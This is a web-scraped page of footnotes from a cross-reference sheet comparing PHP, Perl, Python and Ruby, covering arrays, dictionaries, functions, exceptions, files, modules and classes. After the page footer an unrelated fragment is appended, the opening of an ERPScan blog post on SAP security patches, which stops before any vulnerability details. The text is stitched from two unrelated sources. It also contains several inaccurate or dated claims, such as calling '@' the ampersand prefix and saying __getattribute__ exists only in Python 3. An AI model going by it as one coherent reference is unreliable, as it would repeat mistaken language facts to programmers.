## address copy, shallow copy, deep copy

How to make an address copy, a shallow copy, and a deep copy of an array.

After an address copy is made, modifications to the copy also modify the
original array.

After a shallow copy is made, the addition, removal, or replacement of
elements in the copy does not modify of the original array. However, if
elements in the copy are modified, those elements are also modified in the
original array.

A deep copy is a recursive copy. The original array is copied and a deep copy
is performed on all elements of the array. No change to the contents of the
copy will modify the contents of the original array.

**perl:**

Taking a reference is customary way to make an address copy in Perl, but the
Perl example is not equivalent to the other languages in that different syntax
has to be used to access the original array and the address copy: @a and @$a1.
To make @a1 and @a refer to the same array, use typeglobs:

[code]

    *a1 = *a;
    
[/code]

**python:**

The slice operator can be used to make a shallow copy:

[code]

    a2 = a[:]
    
[/code]

## arrays as function arguments

How arrays are passed as arguments.

## iteration

How to iterate through the elements of an array.

**perl:**

`for` and `foreach` are synonyms. Some use `for` exclusively for C-style for
loops and `foreach` for array iteration.

## indexed iteration

How to iterate through the elements of an array while keeping track of the
index of each element.

## iterate over range

Iterate over a range without instantiating it as a list.

**perl:**

With Perl 5.005 the `for` and `foreach` operators were optimized to not
instantiate a range argument as a list.

## instantiate range as array

How to convert a range to an array.

## reverse

How to create a reversed copy of an array, and how to reverse an array in
place.

**python:**

`reversed` returns an iterator which can be used in a `for/in` construct:

[code]

    print("counting down:")
    for i in reversed([1,2,3]):
      print(i)
    
[/code]

`reversed` can be used to create a reversed list:

[code]

    a = list(reversed([1,2,3]))
    
[/code]

## sort

How to create a sorted copy of an array, and how to sort an array in place.
Also, how to set the comparison function when sorting.

**php:**

`usort` sorts an array in place and accepts a comparison function as a 2nd
argument:

[code]

    function cmp($x, $y) {
      $lx = strtolower($x);
      $ly = strtolower($y);
      if ( $lx < $ly ) { return -1; }
      if ( $lx == $ly ) { return 0; }
      return 1;
    }
    
    $a = array("b", "A", "a", "B");
    
    usort($a, "cmp");
    
[/code]

## dedupe

How to remove extra occurrences of elements from an array.

**python:**

Python sets support the `len`, `in`, and `for` operators. It may be more
efficient to work with result of the set constructor directly rather than
convert it back to a list.

## membership

How to test for membership in an array.

## intersection

How to compute an intersection.

**python:**

Python has literal notation for sets:

[code]

    {1,2,3}
    
[/code]

Use `set` and `list` to convert lists to sets and vice versa:

[code]

    a = list({1,2,3})
    ensemble = set([1,2,3])
    
[/code]

**ruby:**

The intersect operator _&_ always produces an array with no duplicates.

## union

**ruby:**

The union operator _|_ always produces an array with no duplicates.

## set difference

How to compute the set difference of two arrays.

**ruby:**

If an element is in the right argument, then it will not be in the return
value even if it is contained in the left argument multiple times.

## map

Create an array by applying an function to each element of a source array.

**ruby:**

The `map!` method applies the function to the elements of the array in place.

`collect` and `collect!` are synonyms for `map` and `map!`.

## filter

Create an array containing the elements of a source array which match a
predicate.

**ruby:**

The in place version is `select!`.

`reject` returns the complement of `select`. `reject!` is the in place
version.

## reduce

Return the result of applying a binary operator to all the elements of the
array.

**python:**

`reduce` is not needed to sum a list of numbers:

[code]

    sum([1,2,3])
    
[/code]

**ruby:**

The code for the reduction step can be provided by name. The name can be a
symbol or a string:

[code]

    [1,2,3].inject(:+)
    
    [1,2,3].inject("+")
    
    [1,2,3].inject(0, :+)
    
    [1,2,3].inject(0, "+")
    
[/code]

## universal and existential tests

How to test whether a condition holds for all members of an array; how to test
whether a condition holds for at least one member of any array.

A universal test is always true for an empty array. An existential test is
always false for an empty array.

A existential test can readily be implemented with a filter. A universal test
can also be implemented with a filter, but it is more work: one must set the
condition of the filter to the negation of the predicate and test whether the
result is empty.

## shuffle and sample

How to shuffle an array. How to extract a random sample from an array.

**php:**

The `array_rand` function returns a random sample of the indices of an array.
The result can easily be converted to a random sample of array values:

[code]

    $a = array(1, 2, 3, 4);
    $sample = array();
    foreach (array_rand($a, 2) as $i) { array_push($sample, $a[$i]); }
    
[/code]

## zip

How to interleave arrays. In the case of two arrays the result is an array of
pairs or an associative list.

**perl:**

`zip` expects arrays as arguments, which makes it difficult to define the
arrays to be zipped on the same line as the invocation. It can be done like
this:

[code]

    @a = zip @{[1,2,3]}, @{['a','b','c']};
    
[/code]

# Dictionary Footnotes

## literal

**perl:**

Curly brackets create a hash and return a reference to it:

[code]

    $h = { 'hello' => 5, 'goodbye' => 7 }
    
[/code]

## size

How to get the number of dictionary keys in a dictionary.

## lookup

How to lookup a dictionary value using a dictionary key.

**perl:**

Use the ampersand prefix `@` to slice a Perl hash. The index is a list of
keys.

[code]

    %nums = ('b'=>1, 't'=>2, 'a'=>3);
    @nums{('b','t')}
    
[/code]

## out-of-bounds behavior

What happens when a lookup is performed on a key that is not in a dictionary.

## is key present

How to check for the presence of a key in a dictionary without raising an
exception. Distinguishes from the case where the key is present but mapped to
null or a value which evaluates to false.

## delete entry

How to remove a key/value pair from a dictionary.

## from array of pairs, from even length array

How to create a dictionary from an array of pairs; how to create a dictionary
from an even length array.

## merge

How to merge the values of two dictionaries.

In the examples, if the dictionaries `d1` and `d2` share keys then the values
from `d2` will be used in the merged dictionary.

## invert

How to turn a dictionary into its inverse. If a key 'foo' is mapped to value
'bar' by a dictionary, then its inverse will map the key 'bar' to the value
'foo'. However, if multiple keys are mapped to the same value in the original
dictionary, then some of the keys will be discarded in the inverse.

## iteration

How to iterate through the key/value pairs in a dictionary.

**python:**

If `d` contains a dictionary then `d.items()` returns the dictionary as an
associative list and `d.iteritems()` returns an iterator on the dictionary as
an associative list.

## keys and values as arrays

How to convert the keys of a dictionary to an array; how to convert the values
of a dictionary to an array.

## set default value

How to create a dictionary with a default value for missing keys.

**perl:**

How to use a tied hash. If the CPAN module Tie::ExtraHash is installed there
is a shorter way.

# Function Footnotes

Python has both functions and methods. Ruby only has methods: functions
defined at the top level are in fact methods on a special main object. Perl
subroutines can be invoked with a function syntax or a method syntax.

## function declaration

How to define a function.

## function invocation

How to invoke a function.

**python:**

When invoking methods and functions, parens are mandatory, even for functions
which take no arguments. Omitting the parens returns the function or method as
an object. Whitespace can occur between the function name and the following
left paren.

Starting with 3.0, print is treated as a function instead of a keyword. Thus
parens are mandatory around the print argument.

**ruby:**

Ruby parens are optional. Leaving out the parens results in ambiguity when
function invocations are nested. The interpreter resolves the ambiguity by
assigning as many arguments as possible to the innermost function invocation,
regardless of its actual arity. As of Ruby 1.9, it is mandatory that the left
paren not be separated from the method name by whitespace.

## missing argument behavior

How incorrect number of arguments upon invocation are handled.

**perl:**

Perl collects all arguments into the @\_ array, and subroutines normally don't
declare the number of arguments they expect. However, this can be done with
prototypes. Prototypes also provide a method for taking an array from the
caller and giving a reference to the array to the callee.

**python:**

_TypeError_ is raised if the number of arguments is incorrect.

**ruby:**

_ArgumentError_ is raised if the number of arguments is incorrect.

## default value

How to declare a default value for an argument.

## arbitrary number of arguments

How to write a function which accepts a variable number of argument.

**php:**

It is also possible to use _func\_num\_args_ and _func\_get\_arg_ to access
the arguments:

[code]

    for ($i = 1; $i < func_num_args(); $i++) {
        echo func_get_arg($i);
    }
    
[/code]

## named parameter definition and invocation

How to write a function which uses named parameters and how to invoke it.

**python:**

In a function definition, the splat operator \* collects the remaining
arguments into a list. In a function invocation, the splat can be used to
expand an array into separate arguments.

In a function definition the double splat operator \*\* collects named
parameters into a dictionary. In a function invocation, the double splat
expands a dictionary into named parameters.

**ruby:**

## pass number or string by reference

How to pass numbers or strings by reference.

The three common methods of parameter passing are _pass by value_ , _pass by
reference_ , and _pass by address_. Pass by value is the default in most
languages.

When a parameter is passed by reference, the callee can changed the value in
the variable that was provided as a parameter, and the caller will see the new
value when the callee returns. When the parameter is passed by value the
callee cannot do this.

When a language has mutable data types it can be unclear whether the language
is using pass by value or pass by reference.

**perl:**

Here is a potential for confusion: if a reference is used in Perl to pass
data, that is _pass by address_ , not _pass by reference_. A Perl reference is
comparable to a pointer in C, albeit one that knows the data type of what it
points to at runtime. C++ has both pointers and references and thus can pass
data by address or by reference, though pass by value is the default.

## pass array or dictionary by reference

How to pass an array or dictionary without making a copy of it.

**perl:**

Arrays and hashes are not passed by reference by default. If an array is
provided as a argument, each element of the array will be assigned to a
parameter. A change to the parameter will change the corresponding value in
the original array, but the number of elements in the array cannot be
increased. To write a function which changes the size of the array the array
must be passed by reference using the backslash notation.

When a hash is provided as a argument each key of the has will be assigned to
a parameter and each value of the hash will be assigned to a parameter. In
other words the number of parameters seen by the body of the function will be
twice the size of the hash. Each value parameter will immediately follow its
key parameter.

## return value

How the return value of a function is determined.

## multiple return values

How to return multiple values from a function.

## lambda declaration and invocation

How to define and invoke a lambda function.

**python:**

Python lambdas cannot contain newlines or semicolons, and thus are limited to
a single statement or expression. Unlike named functions, the value of the
last statement or expression is returned, and a _return_ is not necessary or
permitted. Lambdas are closures and can refer to local variables in scope,
even if they are returned from that scope.

If a closure function is needed that contains more than one statement, use a
nested function:

[code]

    def make_nest(x):
        b = 37
        def nest(y):
            c = x*y
            c *= b
            return c
        return nest
    
    n = make_nest(12*2)
    print(n(23))
    
[/code]

Python closures are read only.

A nested function can be returned and hence be invoked outside of its
containing function, but it is not visible by its name outside of its
containing function.

## function with private state

How to create a function with private state which persists between function
invocations.

## closure

How to create a first class function with access to the local variables of the
local scope in which it was created.

**python:**

Python has limited closures: access to local variables in the containing scope
is read only and the bodies of anonymous functions must consist of a single
expression.

## generator

How to create a function which can yield a value back to its caller and
suspend execution.

**perl:**

CPAN provides a module called `Coro` which implements coroutines. Some notes
on the distinction between coroutines and generators.

**python:**

Python generators can be used in _for/in_ statements and list comprehensions.

**ruby:**

Ruby generators are called fibers.

# Execution Control Footnotes

## if

The `if` statement.

**php:**

PHP has the following alternate syntax for `if` statements:

[code]

    if ($n == 0): 
      echo "no hits\n";
    elseif ($n == 1):
      echo "one hit\n";
    else:
      echo "$n hits\n";
    endif;
    
[/code]

**perl:**

When an `if` block is the last statement executed in a subroutine, the return
value is the value of the branch that executed.

**ruby:**

If an `if` statement is the last statement executed in a function, the return
value is the value of the branch that executed.

Ruby `if` statements are expressions. They can be used on the right hand side
of assignments:

[code]

    m = if n
      1
    else
      0
    end
    
[/code]

## switch

The `switch` statement.

## while

**php:**

PHP provides a `do-while` loop. The body of such a loop is guaranteed to
execute at least once.

[code]

    $i = 0;
    do {
        echo $i;
    } while ($i > 0);
    
[/code]

**perl:**

Perl provides `until`, `do-while`, and `do-until` loops.

An `until` or a `do-until` loop can be replaced by a `while` or a `do-while`
loop by negating the condition.

**ruby:**

Ruby provides a loop with no exit condition:

[code]

    def yes(expletive="y")
      loop do
       puts expletive
      end
    end
    
[/code]

Ruby also provides the `until` loop.

Ruby loops can be used in expression contexts but they always evaluate to
`nil`.

## c-style for

How to write a C-style for loop.

## break, continue, redo

_break_ exits a _for_ or _while_ loop immediately. _continue_ goes to the next
iteration of the loop. _redo_ goes back to the beginning of the current
iteration.

## control structure keywords

A list of control structure keywords. The loop control keywords from the
previous line are excluded.

The list summarizes the available control structures. It excludes the keywords
for exception handling, loading libraries, and returning from functions.

## what do does

How the `do` keyword is used.

**perl:**

The `do` keyword can convert an `if` statement to a conditional expression:

[code]

    my $m = do {
      if ($n) { 1 }
      else { 0 }
    };
    
[/code]

## statement modifiers

Clauses added to the end of a statement to control execution.

Perl and Ruby have conditional statement modifers. Ruby also has looping
statement modifers.

**ruby:**

Ruby has the looping statement modifiers `while` and `until`:

[code]

    i = 0
    i += 1 while i < 10
    
    j = 10
    j -= 1 until j < 0
    
[/code]

## raise exception

How to raise exceptions.

**ruby:**

Ruby has a _throw_ keyword in addition to _raise_. _throw_ can have a symbol
as an argument, and will not convert a string to a RuntimeError exception.

## catch exception

How to catch exceptions.

**php:**

PHP code must specify a variable name for the caught exception. _Exception_ is
the top of the exception hierarchy and will catch all exceptions.

Internal PHP functions usually do not throw exceptions. They can be converted
to exceptions with this signal handler:

[code]

    function exception_error_handler($errno, $errstr, $errfile, $errline ) {
        throw new ErrorException($errstr, 0, $errno, $errfile, $errline);
    }
    set_error_handler("exception_error_handler");
    
[/code]

**ruby:**

A _rescue Exception_ clause will catch any exception. A _rescue_ clause with
no exception type specified will catch exceptions that are subclasses of
_StandardError_. Exceptions outside _StandardError_ are usually unrecoverable
and hence not handled in code.

In a _rescue_ clause, the _retry_ keyword will cause the _begin_ clause to be
re-executed.

In addition to _begin_ and _rescue_ , ruby has _catch_ :

[code]

    catch (:done) do
      loop do
        retval = work
        throw :done if retval < 10
      end
    end
    
[/code]

## global variable for last exception

The global variable name for the last exception raised.

## define exception

How to define a new variable class.

## catch exception by type

How to catch exceptions of a specific type and assign the exception a name.

**php:**

PHP exceptions when caught must always be assigned a variable name.

## finally/ensure

Clauses that are guaranteed to be executed even if an exception is thrown or
caught.

## start thread

**ruby:**

Ruby 1.8 threads are green threads, and the interpreter is limited to a single
operating system thread.

## wait on thread

How to make a thread wait for another thread to finish.

# File Footnotes

## print to standard output

**python:**

_print_ appends a newline to the output. To suppress this behavior, put a
trailing comma after the last argument. If given multiple arguments, _print_
joins them with spaces.

In Python 2 _print_ parses as a keyword and parentheses are not required:

[code]

    print "Hello, World!"
    
[/code]

**ruby:**

_puts_ appends a newline to the output. _print_ does not.

## read from standard input

How to read from standard input.

## standard file handles

The names for standard input, standard output, and standard error.

## open file

**ruby:**

When _File.open_ is given a block, the file is closed when the block
terminates.

## open file for writing

How to open a file for writing.

## close file

How to close a file.

## read line

How to read up to the next newline in a file.

## iterate over file by line

How to iterate over a file line by line.

## chomp

Remove a newline, carriage return, or carriage return newline pair from the
end of a line if there is one.

**php:**

_chop_ removes all trailing whitespace. It is an alias for _rtrim_.

**perl:**

_chomp_ modifies its argument, which thus must be a scalar, not a string
literal.

**python:**

Python strings are immutable. _rstrip_ returns a modified copy of the string.
_rstrip\('\r\n'\)_ is not identical to _chomp_ because it removes all
contiguous carriage returns and newlines at the end of the string.

**ruby:**

_chomp\!_ modifies the string in place. _chomp_ returns a modified copy.

## read entire file into array or string

How to read the contents of a file into memory.

## write to file

How to write to a file handle.

## flush file handle

How to flush a file handle that has been written to.

## file test, regular file test

How to test whether a file exists; how to test whether a file is a regular
file \(i.e. not a directory, special device, or named pipe\).

## copy file, remove file, rename file

How to copy a file; how to remove a file; how to rename a file.

## set file permissions

How to set the permissions on the file.

For Perl, Python, and Ruby, the mode argument is in the same format as the one
used with the Unix `chmod` command. It uses bitmasking to get the various
permissions which is why it is normally an octal literal.

The mode argument should _not_ be provided as a string such as "0755". Python
and Ruby will raise an exception if a string is provided. Perl will convert
"0755" to 755 and not 0755 which is equal to 493 in decimal.

## temporary file

How to create and use a temporary file.

Temporary file libraries solve two problems: \(1\) finding a unused pathname,
and \(2\) putting the file in a location where the system will eventually
remove it should the application fail to clean up after itself.

**php:**

`tmpfile()` returns a file handle. There is no way to get the pathname and the
file is removed when the file handle is closed.

# Directory Footnotes

## build pathname

How to construct a pathname without hard coding the system file separator.

## dirname and basename

How to extract the directory portion of a pathname; how to extract the non-
directory portion of a pathname.

## iterate over directory by file

How to iterate through the files in a directory.

**php:**

The code in the example will stop if a filename which evaluates as FALSE is
encountered. One such filename is "0". A safer way to iterate through the
directory is:

[code]

    if ($dir = opendir("/etc")) {
      while (FALSE !== ($file = readdir($dir))) {
        echo "$file\n";
      }
      closedir($dir);
    }
    
[/code]

**python:**

`file()` is the file handle constructor. `file` can be used as a local
variable name but doing so hides the constructor. It can still be invoked by
the synonym `open()`, however.

## make directory

How to create a directory.

If needed, the examples will create more than one directory.

No error will result if a directory at the pathname already exists. An
exception will be raised if the pathname is occupied by a regular file,
however.

## recursive copy

How to perform a recursive copy. If the source is a directory, then the
directory and all its contents will be copied.

## remove empty directory

How to remove an empty directory. The operation will fail if the directory is
not empty.

## remove directory and contents

How to remove a directory and all its contents.

## directory test

How to determine if a pathname is a directory.

# Processes and Environment Footnotes

## command line arguments

## environment variable

## exit

**python:**

It is possible to register code to be executed upon exit:

[code]

    import atexit
    atexit.register(print, "goodbye")
    
[/code]

It is possible to terminate a script without executing registered exit code by
calling _os.\_exit_.

**ruby:**

It is possible to register code to be executed upon exit:

[code]

    at_exit { puts "goodbye" }
    
[/code]

The script can be terminated without executing registered exit code by calling
_exit\!_.

## set signal handler

## external command

## backticks

How to invoke an external command and read its output into a variable.

The use of backticks for this operation goes back to the Bourne shell
\(1977\).

**perl:**

The `qx` operator can be used with any delimiter. If the opening delimiter is
\(, \[, or \{, the closing delimiter must be \), \], or \}.

**ruby:**

`%x` can be used with any delimiter. If the opening delimiter is \(, \[, or
\{, the closing delimiter must be \), \], or \}.

# Library and Module Footnotes

How terminology is used in this sheet:

  * _library:_ code in its own file that can be _loaded_ by client code. For interpreted languages, loading a library usually means parsing the library to intermediate representation used by the interpreter VM. It is useless to load an library and not make its definitions available under names in the client code. Hence it is common for languages to import identifiers defined in the library automatically when the library is loaded.
  * _module:_ a set of names that can be _imported_ a unit. Importing a identifier means adding it to a scope. Importing a module means adding all the identifers in the module to a scope.
  * _package:_ a library that can be installed by a _package manager_.

A few notes:

According to our terminology, Perl and Java packages are modules, not
packages.

PHP and C++ namespaces are another of example of modules.

We prefer to reserve the term _namespace_ for divisions of the set of names
imposed by the parser. For example, the identifier `foo` in the Perl variables
`$foo` and `@foo` belong to different namespaces. Another example of
namespaces in this sense is the Lisp-1 vs. Lisp-2 distinction: Scheme is a
Lisp-1 and has a single namespace, whereas Common Lisp is a Lisp-2 and has
multiple namespaces.

Some languages \(e.g. Python, Java\) impose a one-to-one mapping between
libraries and modules. All the definitions for a module must be in a single
file, and there are typically restrictions on how the file must be named and
where it is located on the filesystem. Other languages allow the definitions
for a module to be spread over multiple files or permit a file to contain
multiple modules. Ruby and C++ are such languages.

## load library

Execute the specified file. Normally this is used on a file which only
contains declarations at the top level.

**php:**

_include\_once_ behaves like _require\_once_ except that it is not fatal if an
error is encountered executing the library.

If it is desirable to reload the library even if it might already have been
loaded, use _require_ or _include_.

**perl:**

The last expression in a perl library must evaluate to true. When loading a
library with _use_ , the suffix of the file must be _.pm_.

The _do_ directive will re-execute a library even if it has already been
loaded.

## reload library

How to reload a library. Altered definitions in the library will replace
previous versions of the definition.

## library path

How to augment the library path by calling a function or manipulating a global
variable.

## library path environment variable

How to augment the library path by setting an environment variable before
invoking the interpreter.

## library path command line option

How to augment the library path by providing a command line option when
invoking the interpreter.

## main in library

How to put code in a library which executes when the file is run as a top-
level script and not when the file is loaded as a library.

## module declaration

How to declare a section of code as belonging to a module.

## submodule declaration

How to declare a section of code as belonging to a submodule.

## module separator

The punctuation used to separate the labels in the full name of a submodule.

## import all definitions in module

How to import all the definitions in a module.

## import definitions

How to import specific definitions from a module.

## managing multiple installations

How to manage multiple versions of the interpreter on the same machine, or the
same interpreter with a different set of installed 3rd party packages.

**python:**

Virtualenv must be downloaded and installed. It is a tarball and it only works
on Unix.

## list installed packages, install a package

How to show the installed 3rd party packages, and how to install a new 3rd
party package.

**perl**

`cpanm` is an alternative to `cpan` which is said to be easier to use.

How to use `cpan` to install `cpanm`:

[code]

    $ sudo cpan -i App::cpanminus
    
[/code]

How to install a module with `cpanm`:

[code]

    $ sudo cpanm Moose
    
[/code]

**python**

Two ways to list both installed modules and modules from the standard library:

[code]

    $ pydoc modules
    
[/code]

[code]

    $ python
    >>> help('modules')
    
[/code]

A Unix specific way to install a Python module that bypasses package
management:

[code]

    $ tar xf libxml2-python-2.6.0.tar.gz
    $ cd libxml2-python-2.6.0
    $ sudo python setup.py install
    
[/code]

# Object Footnotes

## define class

**php:**

Properties \(i.e. instance variables\) must be declared _public_ , _protected_
, or _private_. Methods can optionally be declared _public_ , _protected_ , or
_private_. Methods without a visibility modifier are public.

**perl:**

The sheet shows how to create objects using the CPAN module Moose. To the
client of an object, Moose objects and traditional Perl objects are largely
indistinguishable. Moose provides convenience functions to aid in the
definition of a class, and as a result a Moose class definition and a
traditional Perl class definition look quite different.

The most common keywords used when defining a Moose class are `has`,
`extends`, `subtype`.

The `before`, `after`, and `around` keywords are used to define method
modifiers. The `with` keyword indicates that a Moose class implements a role.

The `no Moose;` statement at the end of a Moose class definition removes class
definition keywords, which would otherwise be visible to the client as
methods.

Here is how to define a class in the traditional Perl way:

[code]

    package Int;
    
    sub new {
      my $class = shift;
      my $v = $_[0] || 0;
      my $self = {value => $v};
      bless $self, $class;
      $self;
    }
    
    sub value {
      my $self = shift;
      if ( @_ > 0 ) {
        $self->{'value'} = shift;
      }
      $self->{'value'};
    }
    
    sub add {
      my $self = shift;
      $self->value + $_[0];
    }
    
    sub DESTROY {
      my $self = shift;
      my $v = $self->value;
      print "bye, $v\n";
    }
    
[/code]

**python:**

As of Python 2.2, classes are of two types: new-style classes and old-style
classes. The class type is determined by the type of class\(es\) the class
inherits from. If no superclasses are specified, then the class is old-style.
As of Python 3.0, all classes are new-style.

New-style classes have these features which old-style classes don't:

  * universal base class called _object_.
  * descriptors and properties. Also the \_\_getattribute\_\_ method for intercepting all attribute access.
  * change in how the diamond problem is handled. If a class inherits from multiple parents which in turn inherit from a common grandparent, then when checking for an attribute or method, all parents will be checked before the grandparent.

## create object

How to create an object.

## get and set attribute

How to get and set an attribute.

**perl:**

Other getters:

[code]

    $i->value()
    $i->{'value'}
    
[/code]

Other setters:

[code]

    $i->{'value'} = $v;
    
[/code]

**python:**

Defining explicit setters and getters in Python is considered poor style. If
it becomes necessary to extra logic to attribute, this can be achieved without
disrupting the clients of the class by creating a property:

[code]

    def getValue(self):
      print("getValue called")
      return self.__dict__['value']
    def setValue(self,v):
      print("setValue called")
      self.__dict__['value'] = v
    value = property(fget=getValue, fset = setValue)
    
[/code]

## instance variable accessibility

How instance variable access works.

## define method

How to define a method.

## invoke method

How to invoke a method.

**perl:**

If the method does not take any arguments, the parens are not necessary to
invoke the method.

## destructor

How to define a destructor.

**perl:**

Perl destructors are called when the garbage collector reclaims the memory for
an object, not when all references to the object go out of scope. In
traditional Perl OO, the destructor is named _DESTROY_ , but in Moose OO it is
named _DEMOLISH_.

**python:**

A Python destructor is not guaranteed to be called when all references to an
object go out of scope, but apparently this is how the CPython implementations
work.

**ruby:**

Ruby lacks a destructor. It is possible to register a block to be executed
before the memory for an object is released by the garbage collector. A ruby  
interpreter may exit without releasing memory for objects that have gone out
of scope and in this case the finalizer will not get called. Furthermore, if
the finalizer block holds on to a reference to the object, it will prevent the
garbage collector from freeing the object.

## method missing

How to handle when a caller invokes an undefined method.

**php:**

Define the method _\_\_callStatic_ to handle calls to undefined class methods.

**python:**

_\_\_getattr\_\__ is invoked when an attribute \(instance variable or method\)
is missing. By contrast, _\_\_getattribute\_\__ , which is only available in
Python 3, is always invoked, and can be used to intercept access to attributes
that exist. _\_\_setattr\_\__ and _\_\_delattr\_\__ are invoked when
attempting to set or delete attributes that don't exist. The _del_ statement
is used to delete an attribute.

**ruby:**

Define the method _self.method\_missing_ to handle calls to undefined class
methods.

## inheritance

How to use inheritance.

**perl:**

Here is how inheritance is handled in traditional Perl OO:

[code]

    package Counter;
    
    our @ISA = "Int";
    
    my $instances = 0;
    our $AUTOLOAD;
    
    sub new {
      my $class = shift;
      my $self = Int->new(@_);
      $instances += 1;
      bless $self, $class;
      $self;
    }
    
    sub incr {
      my $self = shift;
      $self->value($self->value + 1);
    }
    sub instances {
      $instances;
    }
    
    sub AUTOLOAD {
      my $self = shift;
      my $argc = scalar(@_);
      print "undefined: $AUTOLOAD " .
        "arity: $argc\n";
    }
    
[/code]

## invoke class method

How to invoke a class method.

# PHP

PHP Manual  
General Style and Syntax Codeigniter  
Coding Standards Pear  
PHP Style Guide Apache

The PHP interpreter is packaged in 3 different ways: \(1\) as a standalone
executable which can be executed as a CGI script, \(2\) as a dynamically
linked library which adheres to the SAPI of a webserver such as Apache or IIS,
and \(3\) as a standalone executable which can be used to run PHP scripts from
the command line. The latter executable is called PHP C

From the perspective of a PHP programmer, there no important differences
between PHP CGI and PHP SAPI. The programmer should be aware of the following
differences between PHP CGI/SAPI and PHP CLI:

  * PHP CGI/SAPI writes HTTP headers to standard out before any output specified by the program. PHP CLI does not.
  * PHP CLI sets the constants STDIN, STDOUT, and STDERR. PHP CGI/SAPI do not.
  * PHP CLI has no timeout. PHP CGI/SAPI will typically timeout a script after 30 seconds.
  * PHP CGI/SAPI add HTML markup to error messages. PHP CLI does not.
  * PHP CLI does not buffer output, so calling `flush` is never necessary. PHP CGI/SAPI buffer output.

# Perl

perldoc  
core modules  
man perlstyle

The first character of a perl variable \($, @, %\) determines the type of
value that can be stored in the variable \(scalar, array, hash\). Using an
array variable \(@foo\) in a scalar context yields the size of the array, and
assigning scalar to an array will set the array to contain a single element.
$foo\[0\] accesses the first element of the array @foo, and $bar\{‘hello’\}
accesses the value stored under ‘hello’ in the hash %bar. $\#foo is the index
of the last element in the array @foo.

Scalars can store a string, integer, or float. If an operator is invoked on a
scalar which contains an incorrect data type, perl will always perform an
implicit conversion to the correct data type: non-numeric strings evaluate to
zero.

Scalars can also contain a reference to a variable, which can be created with
a backslash: $baz = \@foo; The original value can be dereferenced with the
correct prefix: @$baz. References are how perl creates complex data
structures, such as arrays of hashes and arrays of arrays. If $baz contains a
reference to an array, then $baz->\[0\] is the first element of the array. if
$baz contains a reference to a hash, $baz->\{‘hello’\} is the value indexed by
‘hello’.

The literals for arrays and hashes are parens with comma separated elements.
Hash literals must contain an even number of elements, and '=>' can be used in
placed of a comma ',' between a key and its value. Square brackets, e.g. \[ 1,
2, 3 \], create an array and return a reference to it, and curly brackets,
e.g. \{ ‘hello’ => 5, ‘bye’ => 3 \}, create a hash and return a reference to
it.

By default perl variables are global. They can be made local to the containing
block with the my or the local keyword. my gives lexical scope, and local
gives dynamic scope. Also by default, the perl interpreter creates a variable
whenever it encounters a new variable name in the code. The ‘use strict;’
pragma requires that all variables be declared with my, local, or our. The
last is used to declare global variables.

perl functions do not declare their arguments. Any arguments passed to the
function are available in the @\_ array, and the shift command will operate on
this array if no argument is specified. An array passed as an argument is
expanded: if the array contains 10 elements, the callee will have 10 arguments
in its @\_ array. A reference \(passing \@foo instead of @foo\) can be used to
prevent this.

Some of perl’s special variables:

  * $$: pid of the perl process
  * $0: name of the file containing the perl script \(may be a full pathname\)
  * $@: error message from last eval or require command
  * $&, $\`, $’: what last regex matched, part of the string before and after the match
  * $1..$9: what subpatterns in last regex matched

# Python

2.7: Language, Standard Library  
Why Python3 Summary of Backwardly Non-compatible Changes in Python 3  
3.2: Language, Standard Library  
PEP 8: Style Guide for Python Code van Rossum

Python uses leading whitespace to indicate block structure. It is not
recommended to mix tabs and spaces in leading whitespace, but when this is
done, a tab is equal to 8 spaces. The command line options '-t' and '-tt' will
warn and raise an error respectively when tabs are used inconsistently for
indentation.

Regular expressions and functions for interacting with the operating system
are not available by default and must be imported to be used, i.e.

[code]

    import re, sys, os
    
[/code]

Identifiers in imported modules must be fully qualified unless imported with
_from/import_ :

[code]

    from sys import path
    from re import *
    
[/code]

There are two basic sequence types: the mutable list and the immutable tuple.
The literal syntax for lists uses square brackets and commas \[1,2,3\] and the
literal syntax for tuples uses parens and commas \(1,2,3\).

The dictionary data type literal syntax uses curly brackets, colons, and
commas \{ “hello”:5, “goodbye”:7 \}. Python 3 adds a literal syntax for sets
which uses curly brackets and commas: \{1,2,3\}. Dictionaries and sets are
implemented using hash tables and as a result dictionary keys and set elements
must be hashable.

All values that can be stored in a variable and passed to functions as
arguments are objects in the sense that they have methods which can be invoked
using the method syntax.

Attributes are settable by default. This can be changed by defining a
\_\_setattr\_\_ method for the class. The attributes of an object are stored
in the \_\_dict\_\_ attribute. Methods must declare the receiver as the first
argument.

Classes, methods, functions, and modules are objects. If the body of a class,
method, or function definition starts with is a string, it is available
available at runtime via \_\_doc\_\_. Code examples in the string which are
preceded with '>>>' \(the python repl prompt\) can be executed by doctest and
compared with the output that follows.

# Ruby

1.8.7 core, stdlib  
1.9 core, stdlib  
ruby-style-guide Batsov  
The Unofficial Ruby Usage Guide Macdonald

Ruby consistently treats all values as objects. Classes are objects. Methods,
however, are not objects. The system provided classes are open: i.e. the user
can add methods to String, Array, or Fixnum. Another difference from python
\(and perl\) is that ruby only permits single inheritance. However, ruby
modules are mix-ins and can be used to add methods to a class via the include
statement. Ruby methods can be declared private, and this is enforced by the
interpreter.

In ruby, there is no difference between named functions and methods: top level
‘functions’ are in fact methods defined on the main object. All methods have a
receiver which can be referenced with the self: the receiver does not needed
to be treated as an argument like in perl and python.

Ruby has syntax which aids functional programming: a ruby method invocation
can be followed by a block, which is a closure. The invoked method can call
the block with yield\(arg1,…\). Also, the invoked method can store the block
in a variable if its signature ends with &<varname>. The block can then be
invoked with <varname>.call\(arg1,…\).

# Thanks

  * Michael D Adams \(PHP\)
  * Richard Simões \(Perl\)
  * James Wright \(Perl\)

page revision: 3476, last edited: 11 Oct 2011, 07:17 CEST \(12 hours ago\)

Edit History Files \+ Options

Help | Terms of Service | Privacy | Report a bug | Flag as objectionable
Powered by Wikidot.com

Unless otherwise stated, the content of this page is licensed under Creative
Commons Attribution-ShareAlike 3.0 License

# SAP Security Notes July 2015 - ERPScan

**Created:**| _7/15/2015 2:04:22 PM_  
---|---  
**Updated:**| _7/15/2015 2:04:22 PM_  
**Author:**| __  
**Tags:**| _sap_  
  

Home » Press Center » Вlog » **SAP Security Notes July 2015**

## SAP Security Notes July 2015

July 15, 2015/Вlog

SAP has released the monthly critical patch update for July 2015. This patch
update closes a lot of vulnerabilities in SAP products, some of them belong in
the SAP HANA security area. The most popular vulnerability is Missing
Authorization Check. This month, one critical vulnerability found by ERPScan
researcher Alexander Polyakov was closed.

**Issues that were patched with the help of ERPScan**

Below are the details of SAP vulnerabilities that were found by ERPScan
researchers.

